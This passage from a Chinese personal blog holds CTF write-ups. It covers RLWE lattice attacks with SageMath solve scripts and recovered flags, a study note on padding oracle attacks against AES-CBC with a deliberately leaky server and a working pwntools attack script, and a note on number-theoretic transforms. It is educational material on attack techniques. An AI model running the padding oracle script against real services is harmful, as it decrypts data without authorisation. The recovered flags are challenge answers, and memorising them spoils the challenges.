        N[i,j] = M[i,j]
29
L = N.LLL()
30

31
# 提取flag
32
res = L[0] * N^(-1)
33
for i in res[:n]:
34
    print(chr(abs(i)),end='')
35
print()
36
# NSSCTF{M4st3r_0F_RLWE_h3r3_15_ur_flag_4nD_HHHHappy_niu_Ye4r!!}

展开收起

[NSSRound#18 Basic]New Year Ring3 #

新年用个新新新新环！

1
from Crypto.Util.number import *
2
from random import *
3
from secret import flag
4

5
p = getPrime(128)
6
n = 64
7
assert len(flag) < n
8

9
PRp.<x> = PolynomialRing(Zmod(p))
10
newyear = [2,0,2,4]
11
f = x^n
12
for i in range(n):
13
    f += newyear[i%4]*x^(n-1-i)   #welcome to 2024!
14
PR = PRp.quo(f)
15
assert f.is_irreducible()
16

17
A = [randint(0, p) for i in range(n)]
18
E = [randint(-4, 4) for i in range(n)]
19
S = [ord(flag[i]) for i in range(len(flag))]
20

21
B = PR(A)*PR(S)+PR(E)
22
print(A)
23
print(B.list())
24
print(p)
25

26
#[143895536039223361852265879930678271849, 49941095619845369403633015749131244252, 192366807276439803341529420280624695341, 41863179329950350668896955448215016801, 161730900763954941459384930538350726304, 69486722690005239063204459423772119076, 150044605995739190031133614780160002164, 53617544566841857383903597080623109339, 74625820568619243297350181792710531670, 16380616502578067837931320551193635969, 161905270710745874415457791187229895491, 60615195134615631027916010677640865675, 160490605829184543601552626825699212302, 67566984475203250552779752218068594160, 213285653211278131505736720165333128065, 64852378214458505102852766762259296220, 127863063181868054387649888847647635563, 173388212610482051840613449798996257379, 107853129453974811439304180468226801619, 47026991726695830686352132714620786077, 54537407094343620242102574881749270054, 213117990243770129927508589374671252215, 188551573436848023902527678127834115095, 184904756222053551643771035280489901913, 130154717708566694574065576508622379407, 169935928816833755787895658897579592244, 25127997681478110567876718932464424139, 66241086523494222064942298262635441275, 128384348198631966247204855175670185827, 186534789734452323940160584274797242101, 44113757786219743282268996106377142498, 161464089943212437590741012855856579087, 152978274982120638112396394811148002893, 127858672640521604574047701048286112335, 24811959746896810879635351294335540800, 139884017165706571446169150175115903276, 162069295856137595644855638161429085830, 103852979898094376585707063387003994190, 209853862047034349714977775246731397993, 83875540721706520814802129116239183141, 229717680288888669127660062951596981300, 142905448436402318840598200380283379791, 97701946983539136207969604175005004177, 132882918810599573425074347748636321411, 30946979906897798248175975370883897061, 227445609344085479411697428271056340360, 226861499760726945354933277553812121082, 34610454530275079356327169999644151033, 86543487884993671802260662621113434518, 193748181739943346975874601639150010426, 34955296746796322689176100212054938608, 78982586205793555689802056285642735691, 3417188406740628320649576312400181913, 165141388407797054166867506278447838336, 12695265941766745754277957144871301850, 89458008041873757788350494973818918496, 17544328835809254417440184162473311528, 17809092337865928270441021151091911120, 190539046594231331045902135957952644092, 54013202950149354717829653296038417693, 182140149560821210676566057705914354798, 182590162902622112992977612842205026523, 226186981126958513892204825722664037031, 96763448317215723992226901770790799160]
27
#[146131953632371057251386640770029761962, 155126848145561802955686124994407020596, 215548579819339372855889610814620506576, 215378077144333849353671692326217769974, 211651696346814349480371028078398365850, 56211588439881618182356345926007014351, 35792916285189253601060073066755768657, 193834084101163540069238791365615525212, 64185605303590514314207911465024315433, 74011476974910970618385371699236712496, 144080173424901828501825948809304329878, 50478515840382641218068722055014699097, 61424373096897526822902957616641049161, 228135094283701120116040034916450645966, 173676278129085855942014338366292660640, 4958486587405211188374567586180119556, 107653280004443417845206647750419894242, 227948848364624440330554299487592496262, 103344313582462128597769184556262118266, 179090340541635393147453223953633783366, 91157025540035569434535505051126504071, 218301646561306199078249711983197566905, 207984369886452772406666980534904709935, 84848453635637121750244379243550315275, 70455676155616420940430093468129934421, 112082679346753821742720835769195197209, 100096437088582331947465760446007491622, 23148318752965414660522976895342715316, 175024877143863308838121164427112023613, 65455761812920253083377790817920776573, 80719540338474829645398437070034720831, 30265965699771257065456865006701716765, 65059939935789446486144438246062876092, 73412866905686210879034022846184532326, 15496701729614207294798217895713334887, 187927627267834618400725936475600101114, 51596647781094949272750319452641626273, 34936140628305933632043160171328035222, 227636764157434931002269545814362460674, 40310006070105509297521946935690917605, 158199753843142436703851148792841271128, 62042757128547429572711130709028563495, 4994577444829057554913018889328955170, 212120189443587994433256482180523602261, 217895194863190305322702282626368171628, 14347476896110839167629995111874858945, 92969919157086783529099464146480743366, 98421412347381684974090776331896675353, 7670925013164447091797082877392123056, 92948133844692458289793766569490521009, 37843417064278243200690200946062028300, 73246898716604229152337274167003969610, 48576361100747286180365305580004800549, 226777738621945748117749363525255463543, 202653365491161565340111352416610858743, 81343653066789166205981715378171248137, 43128791749740623981661146675626160300, 51978531727836859802588862475571492852, 158673579466427370117557321982403789903, 154526278040551924441198621574328917110, 23520842615720508371775640194790884675, 76597771060168857457987619277375824543, 229138699410621489832761240581614631878, 62849396773221525801893336014307910648]
28
#229934842599910967421870245339955481121

展开收起

本题RLWE问题，换了一个新新新新的环：

Zp[x]x64+2x63+2x61+4x60+...++2x3+2x+4\frac{\mathbb{Z}_p[x]}{x^{64}+2x^{63}+2x^{61}+4x^{60}+...++2x^3+2x+4}x64+2x63+2x61+4x60+...++2x3+2x+4Zp[x]

如此逆天复杂的环我更不可能去手推关系了

于是我们可以模拟上述过程，构造的矩阵方程要把A和s多项式的乘法分离开来，也就是让sixis_ix^isixi分别乘以对应的AAA多项式，sage能帮我们直接在环上计算出来，最后只需.list()一下就能得到对应的矩阵的一行，把每一行算一遍就能直接得到想要的M\mathbf{M}M矩阵，就像这样：

1
M = []
2
for i in range(n):
3
    M.append((PR(A) * x**i).list())
4
M = matrix(M)

PR是原题的环，我们直接拿过来用

最后整体的攻击脚本如下：

1
#sage
2
# 原题给出的数据
3
n = 64
4
p =
5
A =
6
B =
7
beta = 2
8

9
# 原题的环直接搬来
10
PRp.<x> = PolynomialRing(Zmod(p))
11
newyear = [2,0,2,4]
12
f = x^n
13
for i in range(n):
14
    f += newyear[i%4]*x^(n-1-i)   #welcome to 2024!
15
PR = PRp.quo(f)
16
assert f.is_irreducible()
17

18
# 构造方程矩阵
19
M = []
20
for i in range(n):
21
    M.append((PR(A) * x**i).list())
22
M = matrix(M)
23

24
# 构造格
25
N = matrix(2*n+1)
26
N[-1,-1] = beta
27
for i in range(n):
28
    N[i,i+n] = 1
29
    N[i+n,i] = p
30
    N[-1,i] = B[i]
31
    for j in range(n):
32
        N[i,j] = M[i,j]
33
L = N.LLL()
34

35
# 提取flag
36
res = L[0] * N^(-1)
37
for i in res[:n]:
38
    print(chr(abs(i)),end='')
39
print()
40
# NSSCTF{!!!Hah4H@,H0p3_Y0U_h@ve_fang_In_y0ur_po1Ynomial_5tudY!!}

展开收起

[watevrCTF 2019]Baby RLWE #

Mateusz carried a huge jar of small papers with public keys written on them, but he tripped and accidentally dropped them into the scanner and made a txt file out of them! D: Note: This challenge is just an introduction to RLWE, the flag is (in standard format) encoded inside the private key. 得到的flag请使用NSSCTF{}格式提交.

1
from sage.stats.distributions.discrete_gaussian_polynomial import DiscreteGaussianDistributionPolynomialSampler as d_gauss
2

3
flag = bytearray(raw_input())
4
flag = list(flag)
5

6
n = len(flag)
7
q = 40961
8

9
## Finite Field of size q.
10
F = GF(q)
11

12
## Univariate Polynomial Ring in y over Finite Field of size q
13
R.<y> = PolynomialRing(F)
14

15
## Univariate Quotient Polynomial Ring in x over Finite Field of size 40961 with modulus b^n + 1
16
S.<x> = R.quotient(y^n + 1)
17

18
def gen_small_poly():
19
    sigma = 2/sqrt(2*pi)
20
    d = d_gauss(S, n, sigma)
21
    return d()
22

23
def gen_large_poly():
24
    return S.random_element()
25

26

27
## Public key 1
28
a = gen_large_poly()
29

30
## Secret key
31
s = S(flag)
32

33

34
file_out = open("downloads/public_keys.txt", "w")
35
file_out.write("a: " + str(a) + "\n")
36

37

38
for i in range(100):
39
    ## Error
40
    e = gen_small_poly()
41

42
    ## Public key 2
43
    b = a*s + e
44
    file_out.write("b: " + str(b) + "\n")
45

46
file_out.close()

展开收起

附件给了一大堆数据，最高次为103103103，易得n = 104

错误向量使用高斯随机产生了一百份，使用统计学原理拟合出μ\muμ值

1
import re
2
import numpy as np
3
from scipy import stats
4

5
with open(R"E:\Desktop\public_keys.txt",'r') as f:
6
    lines = f.readlines()
7

8
a = eval('[' + re.sub(R"(\*x)(\^\d{0,3})? \+ ",',',lines[0][2:-1]) + ']')
9
b_with_error = []
10
for line in lines[1:]:
11
    b_i = eval('[' + re.sub(R"(\*x)(\^\d{0,3})? \+ ",',',line[2:-1]) + ']')
12
    b_with_error.append(b_i)
13

14
sigma = 2 / np.sqrt(2 * np.pi)
15

16
ASinv = []
17
n = len(b_with_error[0])
18
for i in range(n):
19
    c = [b_with_error[j][i] for j in range(len(b_with_error))]
20
    mean_estimate = np.mean(c)
21
    z_score = stats.norm.ppf(0.975)  # Z分数，双尾检验
22
    margin_of_error = z_score * (sigma / np.sqrt(n))
23
    confidence_interval = (mean_estimate - margin_of_error, mean_estimate + margin_of_error)
24
    print(f"{round(mean_estimate)} -> {confidence_interval}")
25
    ASinv.append(round(mean_estimate))
26
print(ASinv[::-1])
27
# [19377, 23165, 37067, 3532, 4901, 27850, 17381, 13994, 14804, 14613, 21987, 32414, 20692, 2804, 2289, 505, 3055, 40921, 39716, 7591, 39442, 19809, 13167, 14626, 17449, 19389, 33938, 6596, 1511, 38417, 36982, 17484, 25307, 7551, 30476, 2877, 28044, 27571, 1680, 6856, 36442, 16447, 23950, 26880, 18973, 37133, 27117, 22903, 24708, 17621, 39322, 13622, 36029, 19608, 18427, 19155, 40445, 32775, 7806, 21743, 22269, 7206, 32819, 10838, 22540, 38329, 32461, 12991, 15913, 11568, 38725, 36126, 35374, 24753, 16062, 21813, 21778, 35299, 28801, 20632, 14871, 28715, 18118, 35386, 37811, 28038, 40385, 11055, 37769, 25534, 38735, 33522, 35690, 541, 14861, 1842, 40431, 10213, 20706, 32260, 25534, 39178, 17956, 322]

展开收起

检查置信区间没有特别离谱的数据

如此就可以拟合出实际的b=a∗s\mathbf{b} = \mathbf{a}*\mathbf{s}b=a∗s多项式系数

于是构造格

[−s,k,1][MIqIbβ]=[0,s,β]\begin{bmatrix} -\mathbf{s}, \mathbf{k}, 1 \end{bmatrix} \begin{bmatrix} \mathbf{M} & \mathbf{I} & \\ q\mathbf{I} & & \\ \mathbf{b} & & \beta \end{bmatrix} = \begin{bmatrix} \mathbf{0},\mathbf{s},\beta \end{bmatrix}[−s,k,1]MqIbIβ=[0,s,β]

发现无法规约出合适的w\mathbf{w}w，以为是需要配平，也无法得到正常的解，试图配平也无效

找到官解发现

b\mathbf{b}b和a\mathbf{a}a都已知了，直接除过去不就行了……

emmm……

1
# sage
2
AS =
3
n = 104
4
q = 40961
5
F = GF(q)
6
R.<y> = PolynomialRing(F)
7
S.<x> = R.quotient(y^n + 1)
8
a_s = S(AS)
9
a =
10
s = a_s / a
11
print(''.join(map(chr,s.list())))
12
# watevr{rlwe_and_statistics_are_very_trivial_when_you_reuse_same_private_keys#02849jedjdjdj202ie9395u6ky}

[L3hctf2024] badrlwe#

1
from Crypto.Util.number import *
2
from random import *
3
import random
4
import numpy as np
5
from secret import flag, sk
6

7
assert len(flag[7:-1]) <= 64
8
data = [ord(i) for i in list(flag[7:-1])]
9

10
for i in range(len(sk)):
11
    assert data[i] == sk[i]
12

13
q = 1219077173
14
R.<x> = PolynomialRing(Zmod(q), 'x')
15
N = 1024
16

17
f = x^N - 1
18

19
a = [0] * N
20
for i in range(N):
21
    a[i] = randint(0, q)
22

23
s = sk
24

25
e = [0] * N
26
for i in range(N):
27
    val = np.random.normal(loc=0.0, scale=2.1, size=None)
28
    e[i] = int(val)
29

30
a = R(a)
31
s = R(s)
32
e = R(e)
33
b = (a*s + e)%f
34

35
print(a)
36
print(b)
37
print(q)

展开收起

乍一看这个 N=1024也太大了整个，这解一下先不说能不能，LLL的时间都够我吃一顿的了。

再仔细看的话，有一句assert len(flag[7:-1]) <= 64，也就是多项式s其实很小，如果还是按照先前通解的思维，可以把多项式s看成高位系数都是0的1023阶多项式，构造2*1024+1阶矩阵，应该不行。根据先前[DUTCTF2024] Rolling Lava Waves Erupt的反思，列线性方程尽量体现所有的关系，给规约充分的机会，还是列竖式：

A0s0A1s0A2s0⋯⋯A1022s0A1023s0A0s1A1s1A2s1⋯⋯A1022s1A1023s1⋱⋱⋱⋱⋱⋱⋱A0s1022A1s1022A2s1022⋯⋯A1022s1022A1023s1022A0s1023A1s1023A2s1023⋯⋯A1022s1023A1023s1023\begin{matrix} A_{0} s_{0} & A_{1} s_{0} & A_{2} s_{0} & \cdots & \cdots & A_{1022} s_{0} & A_{1023} s_{0}\\ & A_{0} s_{1} & A_{1} s_{1} & A_{2} s_{1} & \cdots & \cdots & A_{1022} s_{1} & A_{1023} s_{1}\\ & & \ddots & \ddots & \ddots & \ddots & \ddots & \ddots & \ddots \\ &&&&& A_{0} s_{1022} & A_{1} s_{1022} & A_{2} s_{1022} & \cdots & \cdots & A_{1022} s_{1022} & A_{1023} s_{1022}\\ &&&&&& A_{0} s_{1023} & A_{1} s_{1023} & A_{2} s_{1023} & \cdots & \cdots & A_{1022} s_{1023} & A_{1023} s_{1023}\\ \end{matrix}A0s0A1s0A0s1A2s0A1s1⋱⋯A2s1⋱⋯⋯⋱A1022s0⋯⋱A0s1022A1023s0A1022s1⋱A1s1022A0s1023A1023s1⋱A2s1022A1s1023⋱⋯A2s1023⋯⋯A1022s1022⋯A1023s1022A1022s1023A1023s1023

由于s是小多项式，从s64s_{64}s64到s1023s_{1023}s1023确定都是000，因此该竖式可以简化到只有前646464行，取多项式模后得到一个64×102464 \times 102464×1024的矩阵MMM，任取其中连续的64×6464 \times 6464×64的子矩阵都可以体现s0s_0s0~s63s_{63}s63的全部信息，于是理同前：

[s,k,−1][MIqIbβ]=[e,s,β]\begin{bmatrix} \mathbf{s}, \mathbf{k},-1 \end{bmatrix} \begin{bmatrix} \mathbf{M} & \mathbf{I} & \\ q\mathbf{I} & & \\ \mathbf{b} & & \beta \end{bmatrix} = \begin{bmatrix} \mathbf{e},\mathbf{s},\beta \end{bmatrix}[s,k,−1]MqIbIβ=[e,s,β]

1
q = 1219077173
2
n = 64
3
N = 1024
4
beta = 2
5

6
R.<x> = PolynomialRing(Zmod(q), 'x')
7
f = x^N - 1
8

9
a =
10
b =
11
A = a.list()
12
B = b.list()
13

14
M = []
15
for i in range(n):
16
    M.append((a * x**i % f).list())
17
M = matrix(M)
18

19
N = matrix(2*n+1)
20
N[-1,-1] = beta
21
for i in range(n):
22
    N[i,i+n] = 1
23
    N[i+n,i] = q
24
    N[-1,i] = B[i]
25
    for j in range(n):
26
        N[i,j] = M[i,j]
27
L = N.LLL()
28

29
# 提取flag
30
print(''.join(map(chr,map(abs,L[0][n:2*n]))))
31
# Y0u_R@411Y_Kn0w_CyclOtom1c_Poly!AK@Co!<J>^5#DQ}oDo=o(j7$%<1T8h1r

展开收起

把flag多余部分剃掉就行了，或者。。都是明文？

参考学习#

成功领我入门的文章（本文一开始就是照着这位大佬的写的）：

格攻击之小未知数方程求解入门——原理与例子 - Tover’ Blog

超赞超详细的一本书(就是太贵了)：

An Introduction to Mathematical Cryptography (2014) - Hoffstein, Pipher, Silverman

很基础很详细的教学（虽然有点不适合我）：

格密码入门课程 - BiliBili

超棒的Manim动画演示LLL算法（有做汉化搬运的打算）：

LLL Algorithm - YouTube

NSSCTF的那三道RLWE题目！让我对RLWE攻击原理有了新的认知：

2024-NSSCTF-Round-18-Basic-wp-crypto - 糖醋小鸡块的blog

Padding Oracle Attack学习笔记

Tue, 19 Mar 2024 00:00:00 GMT

Padding Oracle Attack学习笔记#

前言#

周末的比赛出了这题，最近一直对数学性强的加密研究较多，对于此类算法性强的加密方法没有过多关注，结果比赛就是被socket的通信坑了大半天v_v

这篇文章主要是简单记录一下，具体原理和攻击方法有很多师傅讲的要比我好很多。

而且写完我感觉也挺乱的，似乎只有脚本可以供各位参考

AEC-CBC加密#

加解密基本原理图：

CBC_encryption.svg

1280px-CBC_decryption.svg

CBC加密时按AES.block_size字节分块将明文分块，每块异或分别使用key加密，加密后输出同时自身参与下一块的异或操作。解密时每一块密文通过key作用再与前一块密文进行异或得到明文。

注意无论是加密还是解密，都与且仅与上一块通过单次异或作用。

PKCS7 Padding#

注意到上述CBC加解密过程中将明文密文按AES.block_size字节分块，如果明文长度不是AES.block_size字节的整数倍呢？需要使用PKCS7 Padding的数据填充规则，以AES.block_size = 16为例，下面演示padding的过程。

无论明文多长，最后一块的长度一定是{1,2,3,⋯ ,14,15,16}\{1,2,3,\cdots,14,15,16\}{1,2,3,⋯,14,15,16}，对每种情况的最后一块数据进行填充(包括最后一节为16字节的情况)，补充的字节数是到下一个16字节倍数所需字节数，每个填充字节的值也是到下一个16字节倍数所需字节数。

听起来很拗口，下面看具体情况：

最后一节为151515个字节，需要补充111个字节达到161616的倍数，则填充111个0x01

最后一节为101010个字节，需要补充666个字节达到161616的倍数，则填充666个0x06

最后一节为222个字节，需要补充141414个字节达到161616的倍数，则填充141414个0x0e

最后一节为161616个字节，需要补充161616个字节达到161616的倍数，则填充161616个0x10

因此，补充后最后一节的可能性有如下16种情况：

1
... | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX 01
2
... | XX XX XX XX XX XX XX XX XX XX XX XX XX XX 02 02
3
... | XX XX XX XX XX XX XX XX XX XX XX XX XX 03 03 03
4
... | XX XX XX XX XX XX XX XX XX XX XX XX 04 04 04 04
5
... | XX XX XX XX XX XX XX XX XX XX XX 05 05 05 05 05
6
... | XX XX XX XX XX XX XX XX XX XX 06 06 06 06 06 06
7
... | XX XX XX XX XX XX XX XX XX 07 07 07 07 07 07 07
8
... | XX XX XX XX XX XX XX XX 08 08 08 08 08 08 08 08
9
... | XX XX XX XX XX XX XX 09 09 09 09 09 09 09 09 09
10
... | XX XX XX XX XX XX 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a
11
... | XX XX XX XX XX 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b
12
... | XX XX XX XX 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c
13
... | XX XX XX 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d
14
... | XX XX 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e 0e
15
... | XX 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f 0f
16
... | 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10

展开收起

下面这种具体情况是正确的：

1
35 70 f2 45 09 d3 a3 6b 90 3e 3a 58 03 03 03 03

下面这种具体情况是错误的：

1
35 70 f2 45 09 d3 a3 6b 90 3e 3a 58 07 02 03 03

正确的情况在Unpadding中可以正确还原出明文

错误的情况在Unpadding中会出错

如果恰巧，当服务端把是否Unpadding成功的信息泄露出来，就可以针对其进行破解

例题#

1
from base64 import *
2
from Crypto.Random import get_random_bytes
3
from Crypto.Cipher import AES
4
from Crypto.Util.number import *
5
import os
6
import string
7
from hashlib import sha256
8
import socketserver
9
import signal
10
import random
11
# flag = os.getenv('FLAG').encode()
12

13
AES.block_size=16
14
iv = get_random_bytes(AES.block_size)
15
key = get_random_bytes(16)
16

17
class Task(socketserver.BaseRequestHandler):
18
    def proof_of_work(self):
19
        random.seed(os.urandom(8))
20
        proof = ''.join(
21
            [random.choice(string.ascii_letters+string.digits) for _ in range(20)])
22
        _hexdigest = sha256(proof.encode()).hexdigest()
23
        self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
24
        x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
25
        if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
26
            return True
27
        return True
28

29
    def _recvall(self):
30
        BUFF_SIZE = 2048
31
        data = b''
32
        while True:
33
            part = self.request.recv(BUFF_SIZE)
34
            data += part
35
            if len(part) < BUFF_SIZE:
36
                break
37
        print("[+] "+ data.strip().decode())
38
        return data.strip()
39

40
    def send(self, msg, newline=True):
41
        try:
42
            if newline:
43
                msg += b'\n'
44
            self.request.sendall(msg)
45
            print('[-] '+msg.decode())
46
        except:
47
            pass
48

49
    def recv(self, prompt=b'> '):
50
        self.send(prompt, newline=False)
51
        return self._recvall()
52

53
    def timeout_handler(self, signum, frame):
54
        raise TimeoutError
55

56

57
class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
58
    pass
59

60

61
def pad(text):
62
    pad_num = 16 - len(text) % 16
63
    return text + pad_num*bytes([pad_num])
64

65

66
def unpad(text):
67
    pad_num = int(text[-1])
68
    if pad_num == 0:
69
        return b'Man'
70
    for i in range(1, pad_num+1):
71
        if int(text[-i]) != pad_num:
72
            return b'Man'
73
    else:
74
        tmp = text[:-pad_num]
75
        return b'Mamba out!'
76

77

78
def encrypt(plain_text, key):
79
    cipher = AES.new(key, AES.MODE_CBC, iv)
80
    cipher_text = cipher.encrypt(pad(plain_text))
81
    return iv + cipher_text
82

83

84
def decrypt(cipher_text, key):
85
    iv = cipher_text[:AES.block_size]
86
    cipher = AES.new(key, AES.MODE_CBC, iv)
87
    tmp = cipher.decrypt(cipher_text[AES.block_size:])
88
    result = unpad(tmp)
89
    return result
90

91

92
class test(Task):
93
    def handle(self):
94
        if not self.proof_of_work():
95
            self.send(b'[!] Wrong!')
96
            return
97
        enc = encrypt(flag, key)
98
        self.send(b'secret:')
99
        self.send(b64encode(enc))
100
        self.send(b'What can I say?')
101
        while True:
102
            data = self.recv()
103
            try:
104
                self.send(decrypt(b64decode(data), key))
105
            except:
106
                self.send(b'Damn!')
107

108

109
if __name__ == "__main__":
110
    HOST, PORT = '0.0.0.0', 4444
111
    server = ThreadedServer((HOST, PORT), test)
112
    server.allow_reuse_address = True
113
    print(HOST, PORT)
114
    server.serve_forever()

展开收起

首先进工作量证明，通过后得到明文加密后的(base64)信息，然后用户即可发送数据让服务端进行验证。

攻击流程#

攻击流程也可以大致写出：

保存真正明文加密后的密文，其中前16字节为IV初始化向量
创建一个323232字节的数组，用于实时更新将要攻击的数据列表，前161616字节位初始化为先前得到的IV向量；创建一个161616字节的数组，用于寄存中间值。
对攻击列表的最后一位从0x00到0x01遍历，直到服务端的Unpadding成功，且当改变倒数第二位时，Unpadding过程仍然通过，证明此轮Unpadding的结果末位确实为0x01
把攻击列表的末位与0x01异或得到的结果即为此轮解密后的中间值
把攻击列表的末位修改为中间值异或 0x02以实施对倒数第二位的攻击
从第三步重复，对倒数第二位实施攻击，直到161616个字节均攻击完毕
改攻击列表前161616字节为密文第一组，从第三步重复，直到每部分密文攻击完毕

攻击参考脚本#

1
from base64 import *
2
from pwn import *
3

4
# 工作量证明
5
def crack_proof_of_work(proof4:str,_hexdigest:str) -> bytes:
6
    from hashlib import sha256
7
    print("Task get: ",proof4,_hexdigest)
8
    import string
9
    alphabet = string.ascii_letters+string.digits
10
    for a in alphabet:
11
        for b in alphabet:
12
            for c in alphabet:
13
                for d in alphabet:
14
                    if sha256((a+b+c+d+proof4).encode()).hexdigest() == _hexdigest:
15
                        print(f"proof of work cracked: {a}{b}{c}{d}")
16
                        return (a+b+c+d).encode()
17

18
# 连接远程主机
19
s = remote("127.0.0.1", 4444)
20
proof_of_work_problem = s.recvline(keepends=False).decode()
21
print(s.recv()) # b'[+] Plz tell me XXXX: '
22
proof_of_work_answer = crack_proof_of_work(proof_of_work_problem[16:32],proof_of_work_problem[37:101])
23
s.sendline(proof_of_work_answer)
24
print(s.recvline(keepends=True)) # b'secret:\n'
25
encbase64bytes = s.recvline(keepends=False)
26
print(s.recv()) # b'What can I say?\n> '
27

28
flag = ''
29

30
for N in [0,16,32]: # 原题密文去掉IV向量就只有48字节分3段，按实际情况更改
31
    middle_list = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0]
32
    attack_list = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0]
33
    attack_list.extend(list(b64decode(encbase64bytes))[16+N:32+N])
34
    s.send(b64encode(bytes(attack_list)))
35
    for index in range(15,-1,-1):
36
        for i in range(256):
37
            attack_list[index] = i
38
            s.send(b64encode(bytes(attack_list)))
39
            res = s.recvline(keepends=False)
40
            # print(res)
41
            _ = s.recv()
42
            if res != b'Man':
43
                break
44
        if index == 0:
45
            print(f"Got one bit! {index}",end=' \r')
46
            middle_list[index] = attack_list[index] ^ (16-index)
47
            break
48
        attack_list[index-1] ^= 0x0f # 反转比特 验证
49
        s.send(b64encode(bytes(attack_list)))
50
        res = s.recvline(keepends=False)
51
        # print(res)
52
        _ = s.recv()
53
        if res != b'Man':
54
            print(f"Got one bit! {index}",end='\r')
55
            middle_list[index] = attack_list[index] ^ (16-index)
56
            # 初始化下一padding
57
            for j in range(index,16):
58
                attack_list[j] = middle_list[j] ^ (16-index+1)
59
            index -= 1
60
        else:
61
            # 没想好怎么写这个分支，反正一般用不着吧（
62
            pass
63
    flag_ = bytes([middle_list[i] ^ list(b64decode(encbase64bytes))[0+N:16+N][i] for i in range(16)]).decode()
64
    flag += flag_
65
    print(f"\nflag got: {flag_} \n {flag}")

展开收起

结语#

我真的感觉文章写完后超级超级乱，就留着自用吧（逃

参考学习#

非常清晰的动画讲解↓ Padding Oracle 攻击 - BiliBili

博客迁移记录

Sun, 10 Mar 2024 00:00:00 GMT

恢复#

没有恢复以前的博客，但是有数据库存档，以后有时间恢复一下

追加#

把之前写的快速数论变换FNTT学习笔记加上了，以后主要更新方向应该就是密码学方向

主题#

用的主题是LIveForCod，真的很好看，但是好多配置不太会调，“赞赏”标签我想删掉也不知道在哪删，留言板还有好多之前的留言，也不知道怎么删，总之先暂时搁置吧，应该没多少人看((，多发点文章再说

待处理问题#

域名绑定
渲染latex公式
丰富背景图
添加 MySpine
删除友链、赞赏等页面
迁移先前的博客文章
清空留言板

快速数论变换FNTT学习笔记

Sun, 10 Mar 2024 00:00:00 GMT

快速数论变换(fast number-theoretic transform,FNTT)#

‎2024‎年‎1‎月‎15‎日 12:55:59 记

大数乘法与多项式乘法(Polynomial Multiplication)#

两个大数如123451234512345和678906789067890，用多项式表达：

f(x)=5x0+4x1+3x2+2x3+1x4g(x)=0x0+9x1+8x2+7x3+6x4f(x) = 5 x^0 +4 x^1 +3 x^2 +2 x^3 +1 x^4\\ g(x) = 0 x^0 +9 x^1 +8 x^2 +7 x^3 +6 x^4f(x)=5x0+4x1+3x2+2x3+1x4g(x)=0x0+9x1+8x2+7x3+6x4

在进行多项式乘法的时候，得到h(x)h(x)h(x)的系数便可以变相表示为两个大整数之积

h(x)=f(x)⋅g(x)h(x)=(5x0+4x1+3x2+2x3+1x4)(0x0+9x1+8x2+7x3+6x4)h(x)=0x0+45x1+76x2+94x3+100x4+70x5+40x6+19x7+6x8h(x) = f(x) \cdot g(x)\\ h(x) = (5 x^0 +4 x^1 +3 x^2 +2 x^3 +1 x^4)(0 x^0 +9 x^1 +8 x^2 +7 x^3 +6 x^4)\\ h(x) = 0 x^0 + 45 x^1 + 76 x^2 + 94 x^3 + 100 x^4 + 70 x^5 +40 x^6 + 19 x^7 + 6 x^8h(x)=f(x)⋅g(x)h(x)=(5x0+4x1+3x2+2x3+1x4)(0x0+9x1+8x2+7x3+6x4)h(x)=0x0+45x1+76x2+94x3+100x4+70x5+40x6+19x7+6x8

转为列表

[0,45,76,94,100,70,40,19,6][0,45,76,94,100,70,40,19,6][0,45,76,94,100,70,40,19,6]

逆序一下，符合高位在左的书写习惯

[6,19,40,70,100,94,76,45,0][6,19,40,70,100,94,76,45,0][6,19,40,70,100,94,76,45,0]

进位

[8,3,8,1,0,2,0,5,0][8,3,8,1,0,2,0,5,0][8,3,8,1,0,2,0,5,0]

快速傅里叶变换(Fast Fourier Transform,FFT)#

回到开始的多项式，估算原积不超过101010位，不足2k2^k2k位数则用000补齐（方便后续递归分治）

f(x)=5x0+4x1+3x2+2x3+1x4+0x5+0x6+⋯0x14+0x15g(x)=0x0+9x1+8x2+7x3+6x4+0x5+0x6+⋯0x14+0x15f(x) = 5 x^0 +4 x^1 +3 x^2 +2 x^3 +1 x^4 +0 x^5 + 0 x^6 +\cdots 0 x^{14} +0 x^{15} \\ g(x) = 0 x^0 +9 x^1 +8 x^2 +7 x^3 +6 x^4 +0 x^5 + 0 x^6 +\cdots 0 x^{14} +0 x^{15}f(x)=5x0+4x1+3x2+2x3+1x4+0x5+0x6+⋯0x14+0x15g(x)=0x0+9x1+8x2+7x3+6x4+0x5+0x6+⋯0x14+0x15

正常的乘法，需要对f(x)f(x)f(x)和g(x)g(x)g(x)的每一项都两两相乘，复杂度O(n2)O(n^2)O(n2)很高

为了描述这些多项式方程，除了采用系数表示法(nnn个系数)，还可以使用描点表示法(nnn个点)，例如方程y=1x+0y=1x+0y=1x+0可以用点(0,0),(1,1)(0,0),(1,1)(0,0),(1,1)唯一确定，方程y=1x2+2x+3y=1x^2+2x+3y=1x2+2x+3可以用点(0,3),(1,6),(2,11)(0,3),(1,6),(2,11)(0,3),(1,6),(2,11)唯一确定，即具有nnn个系数的(n−1)(n-1)(n−1)次多项式方程可以由nnn个不同的点唯一确定

那么对于777次多项式方程

f(x)=a0x0+a1x1+a2x2+a3x3+a4x4+a5x5+a6x6+a7x7f(x) = a_0x^0 + a_1x^1 + a_2x^2 + a_3x^3 + a_4x^4 + a_5x^5 + a_6x^6 + a_7x^7f(x)=a0x0+a1x1+a2x2+a3x3+a4x4+a5x5+a6x6+a7x7

任取777个

x∈(x0,x1,x2,x3,x4,x5,x6,x7)x \in (x_0,x_1,x_2,x_3,x_4,x_5,x_6,x_7)x∈(x0,x1,x2,x3,x4,x5,x6,x7)

得到777个函数值

